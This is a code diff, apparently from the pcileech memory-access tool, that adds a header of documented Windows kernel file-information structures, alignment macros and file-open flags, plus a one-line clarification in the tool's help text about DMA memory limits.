+ /** + * The end of file location as a byte offset. + */ + LARGE_INTEGER EndOfFile; + /** + * The number of hard links to the file. + */ + ULONG NumberOfLinks; + /** + * The delete pending status. TRUE indicates that a file deletion has been requested. + */ + BOOLEAN DeletePending; + /** + * The file directory status. TRUE indicates the file object represents a directory. + */ + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + +/** + * \struct FILE_POSITION_INFORMATION + * \brief Used as an argument to routines that query or set file information. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FilePositionInformation and FileAllInformation + */ +typedef struct _FILE_POSITION_INFORMATION { + /** + * The byte offset of the current file pointer. + */ + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +/** + * \struct FILE_DIRECTORY_INFORMATION + * \brief Used to query detailed information for the files in a directory. + */ +typedef struct _FILE_DIRECTORY_INFORMATION { + /** + * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Time when the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Last time the file was accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Last time information was written to the file. + */ + LARGE_INTEGER LastWriteTime; + /** + * Last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Absolute new end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. + * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * File attributes, which can be any valid combination of the following: + * + * \li \c FILE_ATTRIBUTE_READONLY + * \li \c FILE_ATTRIBUTE_HIDDEN + * \li \c FILE_ATTRIBUTE_SYSTEM + * \li \c FILE_ATTRIBUTE_DIRECTORY + * \li \c FILE_ATTRIBUTE_ARCHIVE + * \li \c FILE_ATTRIBUTE_NORMAL + * \li \c FILE_ATTRIBUTE_TEMPORARY + * \li \c FILE_ATTRIBUTE_COMPRESSED + */ + ULONG FileAttributes; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Specifies the first character of the file name string. + * This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +/** + * \struct FILE_FULL_DIR_INFORMATION + * \brief Used to query detailed information for the files in a directory. + */ +typedef struct _FILE_FULL_DIR_INFORMATION { + /** + * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Time when the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Last time the file was accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Last time information was written to the file. + */ + LARGE_INTEGER LastWriteTime; + /** + * Last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Absolute new end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. + * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * File attributes, which can be any valid combination of the following: + * + * \li \c FILE_ATTRIBUTE_READONLY + * \li \c FILE_ATTRIBUTE_HIDDEN + * \li \c FILE_ATTRIBUTE_SYSTEM + * \li \c FILE_ATTRIBUTE_DIRECTORY + * \li \c FILE_ATTRIBUTE_ARCHIVE + * \li \c FILE_ATTRIBUTE_NORMAL + * \li \c FILE_ATTRIBUTE_TEMPORARY + * \li \c FILE_ATTRIBUTE_COMPRESSED + */ + ULONG FileAttributes; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Combined length, in bytes, of the extended attributes (EA) for the file. + */ + ULONG EaSize; + /** + * Specifies the first character of the file name string. + * This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +/** + * \struct FILE_ID_FULL_DIR_INFORMATION + * \brief Used to query detailed information for the files in a directory. + */ +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + /** + * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Time when the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Last time the file was accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Last time information was written to the file. + */ + LARGE_INTEGER LastWriteTime; + /** + * Last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Absolute new end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. + * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * File attributes, which can be any valid combination of the following: + * + * \li \c FILE_ATTRIBUTE_READONLY + * \li \c FILE_ATTRIBUTE_HIDDEN + * \li \c FILE_ATTRIBUTE_SYSTEM + * \li \c FILE_ATTRIBUTE_DIRECTORY + * \li \c FILE_ATTRIBUTE_ARCHIVE + * \li \c FILE_ATTRIBUTE_NORMAL + * \li \c FILE_ATTRIBUTE_TEMPORARY + * \li \c FILE_ATTRIBUTE_COMPRESSED + */ + ULONG FileAttributes; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Combined length, in bytes, of the extended attributes (EA) for the file. + */ + ULONG EaSize; + /** + * The 8-byte file reference number for the file. (Note that this is not the same as the 16-byte + * "file object ID" that was added to NTFS for Microsoft Windows 2000.) + */ + LARGE_INTEGER FileId; + /** + * Specifies the first character of the file name string. + * This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +/** + * \struct FILE_BOTH_DIR_INFORMATION + * \brief Used to query detailed information for the files in a directory. + */ +typedef struct _FILE_BOTH_DIR_INFORMATION { + /** + * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Time when the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Last time the file was accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Last time information was written to the file. + */ + LARGE_INTEGER LastWriteTime; + /** + * Last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Absolute new end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. + * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * File attributes, which can be any valid combination of the following: + * + * \li \c FILE_ATTRIBUTE_READONLY + * \li \c FILE_ATTRIBUTE_HIDDEN + * \li \c FILE_ATTRIBUTE_SYSTEM + * \li \c FILE_ATTRIBUTE_DIRECTORY + * \li \c FILE_ATTRIBUTE_ARCHIVE + * \li \c FILE_ATTRIBUTE_NORMAL + * \li \c FILE_ATTRIBUTE_TEMPORARY + * \li \c FILE_ATTRIBUTE_COMPRESSED + */ + ULONG FileAttributes; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Combined length, in bytes, of the extended attributes (EA) for the file. + */ + ULONG EaSize; + /** + * Specifies the length, in bytes, of the short file name string. + */ + CCHAR ShortNameLength; + /** + * Unicode string containing the short (8.3) name for the file. + */ + WCHAR ShortName[12]; + /** + * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +/** + * \struct FILE_ID_BOTH_DIR_INFORMATION + * \brief Used to query detailed information for the files in a directory. + */ +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + /** + * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Time when the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Last time the file was accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Last time information was written to the file. + */ + LARGE_INTEGER LastWriteTime; + /** + * Last time the file was changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Absolute new end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. + * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * File attributes, which can be any valid combination of the following: + * + * \li \c FILE_ATTRIBUTE_READONLY + * \li \c FILE_ATTRIBUTE_HIDDEN + * \li \c FILE_ATTRIBUTE_SYSTEM + * \li \c FILE_ATTRIBUTE_DIRECTORY + * \li \c FILE_ATTRIBUTE_ARCHIVE + * \li \c FILE_ATTRIBUTE_NORMAL + * \li \c FILE_ATTRIBUTE_TEMPORARY + * \li \c FILE_ATTRIBUTE_COMPRESSED + */ + ULONG FileAttributes; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Combined length, in bytes, of the extended attributes (EA) for the file. + */ + ULONG EaSize; + /** + * Specifies the length, in bytes, of the short file name string. + */ + CCHAR ShortNameLength; + /** + * Unicode string containing the short (8.3) name for the file. + */ + WCHAR ShortName[12]; + /** + * The 8-byte file reference number for the file. This number is generated and assigned to the file by the file system. + * (Note that the FileId is not the same as the 16-byte "file object ID" that was added to NTFS for Microsoft Windows 2000.) + */ + LARGE_INTEGER FileId; + /** + * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +/** + * \struct FILE_NAMES_INFORMATION + * \brief Used to query detailed information about the names of files in a directory. + */ +typedef struct _FILE_NAMES_INFORMATION { + /** + * Byte offset for the next FILE_NAMES_INFORMATION entry, if multiple entries are present in a buffer. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, + * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. + */ + ULONG FileIndex; + /** + * Specifies the length of the file name string. + */ + ULONG FileNameLength; + /** + * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. + */ + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +#define ANSI_DOS_STAR ('<') +#define ANSI_DOS_QM ('>') +#define ANSI_DOS_DOT ('"') + +#define DOS_STAR (L'<') +#define DOS_QM (L'>') +#define DOS_DOT (L'"') + +/** + * \struct FILE_INTERNAL_INFORMATION + * \brief Used to query for the file system's 8-byte file reference number for a file. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileInternalInformation + */ +typedef struct _FILE_INTERNAL_INFORMATION { + /** + * The 8-byte file reference number for the file. This number is assigned by the file system and is file-system-specific. + * (Note that this is not the same as the 16-byte "file object ID" that was added to NTFS for Microsoft Windows 2000.) + */ + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +/** + * \struct FILE_ID_INFORMATION + * \brief Contains identification information for a file. + * + * This structure is returned from the GetFileInformationByHandleEx function when FileIdInfo is passed in the FileInformationClass parameter. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileIdInformation + */ +typedef struct _FILE_ID_INFORMATION { + /** + * The serial number of the volume that contains a file. + */ + ULONGLONG VolumeSerialNumber; + /** + * The 128-bit file identifier for the file. The file identifier and the volume serial number uniquely identify a file on a single computer. + * To determine whether two open handles represent the same file, combine the identifier and the volume serial number for each file and compare them. + */ + FILE_ID_128 FileId; +} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION; + +/** + * \struct FILE_EA_INFORMATION + * \brief Used to query for the size of the extended attributes (EA) for a file. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEaInformation and FileAllInformation + */ +typedef struct _FILE_EA_INFORMATION { + /** + * Specifies the combined length, in bytes, of the extended attributes for the file. + */ + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +/** + * \struct FILE_ACCESS_INFORMATION + * \brief Used to query for or set the access rights of a file. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation + */ +typedef struct _FILE_ACCESS_INFORMATION { + /** + * Flags that specify a set of access rights in the access mask of an access control entry. + * This member is a value of type ACCESS_MASK. + */ + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +/** + * \struct FILE_MODE_INFORMATION + * \brief Used to query or set the access mode of a file. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation + */ +typedef struct _FILE_MODE_INFORMATION { + /** + * Specifies the mode in which the file will be accessed following a create-file or open-file operation. + * This parameter is either zero or the bitwise OR of one or more of the following file option flags: + * + * \li \c FILE_WRITE_THROUGH + * \li \c FILE_SEQUENTIAL_ONLY + * \li \c FILE_NO_INTERMEDIATE_BUFFERING + * \li \c FILE_SYNCHRONOUS_IO_ALERT + * \li \c FILE_SYNCHRONOUS_IO_NONALERT + * \li \c FILE_DELETE_ON_CLOSE + */ + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +/** + * \struct FILE_ALL_INFORMATION + * \brief Structure is a container for several FILE_XXX_INFORMATION structures. + * + * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation + */ +typedef struct _FILE_ALL_INFORMATION { + /** \see FILE_BASIC_INFORMATION */ + FILE_BASIC_INFORMATION BasicInformation; + /** \see FILE_STANDARD_INFORMATION */ + FILE_STANDARD_INFORMATION StandardInformation; + /** \see FILE_INTERNAL_INFORMATION */ + FILE_INTERNAL_INFORMATION InternalInformation; + /** \see FILE_EA_INFORMATION */ + FILE_EA_INFORMATION EaInformation; + /** \see FILE_ACCESS_INFORMATION */ + FILE_ACCESS_INFORMATION AccessInformation; + /** \see FILE_POSITION_INFORMATION */ + FILE_POSITION_INFORMATION PositionInformation; + /** \see FILE_MODE_INFORMATION */ + FILE_MODE_INFORMATION ModeInformation; + /** \see FILE_ALIGNMENT_INFORMATION */ + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + /** \see FILE_NAME_INFORMATION */ + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +/** + * \struct FILE_ALLOCATION_INFORMATION + * \brief Used to set the allocation size for a file. + * + * The struct is requested during IRP_MJ_SET_INFORMATION with query FileAllocationInformation + */ +typedef struct _FILE_ALLOCATION_INFORMATION { + /** + * File allocation size, in bytes. Usually this value is a multiple + * of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +/** + * \struct FILE_LINK_INFORMATION + * \brief Used to create an NTFS hard link to an existing file. + * + * The struct is requested during IRP_MJ_SET_INFORMATION with query FileLinkInformation + */ +typedef struct _FILE_LINK_INFORMATION { + /** + * Set to TRUE to specify that if the link already exists, it should be replaced with the new link. + * Set to FALSE if the link creation operation should fail if the link already exists. + */ + BOOLEAN ReplaceIfExists; + /** + * If the link is to be created in the same directory as the file that is being linked to, + * or if the FileName member contains the full pathname for the link to be created, this is NULL. + * Otherwise it is a handle for the directory where the link is to be created. + */ + HANDLE RootDirectory; + /** + * Length, in bytes, of the file name string. + */ + ULONG FileNameLength; + /** + * The first character of the name to be assigned to the newly created link. + * This is followed in memory by the remainder of the string. + * If the RootDirectory member is NULL and the link is to be created in a different directory from the file that is being linked to, + * this member specifies the full pathname for the link to be created. Otherwise, it specifies only the file name. + * (See the Remarks section for ZwQueryInformationFile for details on the syntax of this file name string.) + */ + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +/** + * \struct FILE_RENAME_INFORMATION + * \brief Used to rename a file. + * + * The struct is requested during IRP_MJ_SET_INFORMATION with query FileRenameInformation + */ +typedef struct _FILE_RENAME_INFORMATION { + /** + * Set to TRUE to specify that if a file with the given name already exists, it should be replaced with the given file. + * Set to FALSE if the rename operation should fail if a file with the given name already exists. + */ + BOOLEAN ReplaceIfExists; + /** + * If the file is not being moved to a different directory, + * or if the FileName member contains the full pathname, this member is NULL. Otherwise, + * it is a handle for the root directory under which the file will reside after it is renamed. + */ + HANDLE RootDirectory; + /** + * Length, in bytes, of the new name for the file. + */ + ULONG FileNameLength; + /** + * The first character of a wide-character string containing the new name for the file. + * This is followed in memory by the remainder of the string. If the RootDirectory member is NULL, + * and the file is being moved to a different directory, this member specifies the full pathname to be assigned to the file. + * Otherwise, it specifies only the file name or a relative pathname. + */ + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +/** + * \struct FILE_STREAM_INFORMATION + * \brief Used to enumerate the streams for a file. + * + * The struct is requested during IRP_MJ_SET_INFORMATION query FileStreamInformation + */ +typedef struct _FILE_STREAM_INFORMATION { + /** + * The offset of the next FILE_STREAM_INFORMATION entry. + * This member is zero if no other entries follow this one. + */ + ULONG NextEntryOffset; + /** + * Length, in bytes, of the StreamName string. + */ + ULONG StreamNameLength; + /** + * Size, in bytes, of the stream. + */ + LARGE_INTEGER StreamSize; + /** + * File stream allocation size, in bytes. Usually this value is a multiple of the sector + * or cluster size of the underlying physical device. + */ + LARGE_INTEGER StreamAllocationSize; + /** + * Unicode string that contains the name of the stream. + */ + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +/** + * \struct FILE_FS_LABEL_INFORMATION + * \brief Used to set the label for a file system volume. + * + * The struct is requested during IRP_MJ_SET_VOLUME_INFORMATION query FileFsLabelInformation + */ +typedef struct _FILE_FS_LABEL_INFORMATION { + /** + * Length, in bytes, of the name for the volume. + */ + ULONG VolumeLabelLength; + /** + * Name for the volume. + */ + WCHAR VolumeLabel[1]; +} FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION; + +/** + * \struct FILE_FS_VOLUME_INFORMATION + * \brief Used to query information about a volume on which a file system is mounted. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsVolumeInformation + */ +typedef struct _FILE_FS_VOLUME_INFORMATION { + /** + * Time when the volume was created. + */ + LARGE_INTEGER VolumeCreationTime; + /** + * Serial number of the volume. + */ + ULONG VolumeSerialNumber; + /** + * Length, in bytes, of the name of the volume. + */ + ULONG VolumeLabelLength; + /** + * TRUE if the file system supports object-oriented file system objects, FALSE otherwise. + */ + BOOLEAN SupportsObjects; + /** + * Name of the volume. + */ + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; + +/** + * \struct FILE_FS_SIZE_INFORMATION + * \brief Used to query sector size information for a file system volume. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsSizeInformation + */ +typedef struct _FILE_FS_SIZE_INFORMATION { + /** + * Total number of allocation units on the volume that are available to the user associated with the calling thread. + * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk. + */ + LARGE_INTEGER TotalAllocationUnits; + /** + * Total number of free allocation units on the volume that are available to the user associated with the calling thread. + * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk. + */ + LARGE_INTEGER AvailableAllocationUnits; + /** + * Number of sectors in each allocation unit. + */ + ULONG SectorsPerAllocationUnit; + /** + * Number of bytes in each sector. + */ + ULONG BytesPerSector; +} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION; + +/** + * \struct FILE_FS_FULL_SIZE_INFORMATION + * \brief Used to query sector size information for a file system volume. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsFullSizeInformation + */ +typedef struct _FILE_FS_FULL_SIZE_INFORMATION { + /** + * Total number of allocation units on the volume that are available to the user associated with the calling thread. + * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk. + */ + LARGE_INTEGER TotalAllocationUnits; + /** + * Total number of free allocation units on the volume that are available to the user associated with the calling thread. + * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk. + */ + LARGE_INTEGER CallerAvailableAllocationUnits; + /** + * Total number of free allocation units on the volume. + */ + LARGE_INTEGER ActualAvailableAllocationUnits; + /** + * Number of sectors in each allocation unit. + */ + ULONG SectorsPerAllocationUnit; + /** + * Number of bytes in each sector. + */ + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION; + +/** + * \struct FILE_FS_ATTRIBUTE_INFORMATION + * \brief Used to query attribute information for a file system. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsAttributeInformation + */ +typedef struct _FILE_FS_ATTRIBUTE_INFORMATION { + /** + * Bitmask of flags specifying attributes of the specified file system. + * \see https://msdn.microsoft.com/en-us/library/windows/hardware/ff540251(v=vs.85).aspx + */ + ULONG FileSystemAttributes; + /** + * Maximum file name component length, in bytes, supported by the specified file system. + * A file name component is that portion of a file name between backslashes. + */ + LONG MaximumComponentNameLength; + /** + * Length, in bytes, of the file system name. + */ + ULONG FileSystemNameLength; + /** + * File system name. + */ + WCHAR FileSystemName[1]; +} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION; + +/** + * \struct FILE_NETWORK_OPEN_INFORMATION + * \brief Used as an argument to ZwQueryInformationFile. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkOpenInformation + */ +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + /** + * Specifies the time that the file was created. + */ + LARGE_INTEGER CreationTime; + /** + * Specifies the time that the file was last accessed. + */ + LARGE_INTEGER LastAccessTime; + /** + * Specifies he time that the file was last written to. + */ + LARGE_INTEGER LastWriteTime; + /** + * Specifies the time that the file was last changed. + */ + LARGE_INTEGER ChangeTime; + /** + * Specifies the file allocation size, in bytes. Usually, + * this value is a multiple of the sector or cluster size of the underlying physical device. + */ + LARGE_INTEGER AllocationSize; + /** + * Specifies the absolute end-of-file position as a byte offset from the start of the file. + * EndOfFile specifies the byte offset to the end of the file. Because this value is zero-based, + * it actually refers to the first free byte in the file. In other words, + * EndOfFile is the offset to the byte immediately following the last valid byte in the file. + */ + LARGE_INTEGER EndOfFile; + /** + * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags, + * see the documentation of the GetFileAttributes function in the Microsoft Windows SDK. + */ + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +/** + * \struct FILE_NETWORK_PHYSICAL_NAME_INFORMATION + * \brief Contains the full UNC physical pathname for a file or directory on a remote file share. + * + * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkPhysicalNameInformation + */ +typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION { + /** + * The length, in bytes, of the physical name in FileName. + */ + ULONG FileNameLength; + /** + * The full UNC path of the network file share of the target. + */ + WCHAR FileName[1]; +} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, + *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; + +#define SL_RESTART_SCAN 0x01 +#define SL_RETURN_SINGLE_ENTRY 0x02 +#define SL_INDEX_SPECIFIED 0x04 +#define SL_FORCE_ACCESS_CHECK 0x01 + +#define SL_OPEN_PAGING_FILE 0x02 +#define SL_OPEN_TARGET_DIRECTORY 0x04 +#define SL_CASE_SENSITIVE 0x80 + +#define ALIGN_DOWN(length, type) ((ULONG)(length) & ~(sizeof(type) - 1)) + +#define ALIGN_UP(length, type) \ + (ALIGN_DOWN(((ULONG)(length) + sizeof(type) - 1), type)) + +#define ALIGN_DOWN_POINTER(address, type) \ + ((PVOID)((ULONG_PTR)(address) & ~((ULONG_PTR)sizeof(type) - 1))) + +#define ALIGN_UP_POINTER(address, type) \ + (ALIGN_DOWN_POINTER(((ULONG_PTR)(address) + sizeof(type) - 1), type)) + +#define WordAlign(Val) (ALIGN_UP(Val, WORD)) + +#define WordAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, WORD)) + +#define LongAlign(Val) (ALIGN_UP(Val, LONG)) + +#define LongAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, LONG)) + +#define QuadAlign(Val) (ALIGN_UP(Val, ULONGLONG)) + +#define QuadAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, ULONGLONG)) + +#define IsPtrQuadAligned(Ptr) (QuadAlignPtr(Ptr) == (PVOID)(Ptr)) + +// from wdm.h +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_REMOTE_INSTANCE 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#define FILE_DISALLOW_EXCLUSIVE 0x00020000 +#endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */ +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8) +#define FILE_SESSION_AWARE 0x00040000 +#endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */ + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +/** + * \struct UNICODE_STRING + * \brief Structure is used to define Unicode strings. + */ +typedef struct _UNICODE_STRING { + /** + * The length, in bytes, of the string stored in Buffer. + */ + USHORT Length; + /** + * The length, in bytes, of Buffer. + */ + USHORT MaximumLength; + /** + * Pointer to a buffer used to contain a string of wide characters. + */ + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +#endif // FILEINFO_H_ diff --git a/pcileech/help.c b/pcileech/help.c index da79d0b..2d7a61e 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -32,7 +32,8 @@ VOID Help_ShowGeneral() " erted KMD. The already inserted KMD will be left intact upon exit. If the KMD\n" \ " contains a kernel mode signature the kernel module will be loaded and then un-\n" \ " loaded on program exit ( except for the kmdload command ). \n" \ - " KMD mode may access all memory. DMA mode may only access memory below 4GB. \n" \ + " KMD mode may access all memory. DMA mode may only access memory below 4GB if\n" \ + " the USB3380 hardware is used. \n" \ " For more detailed help about a specific command type: pcileech 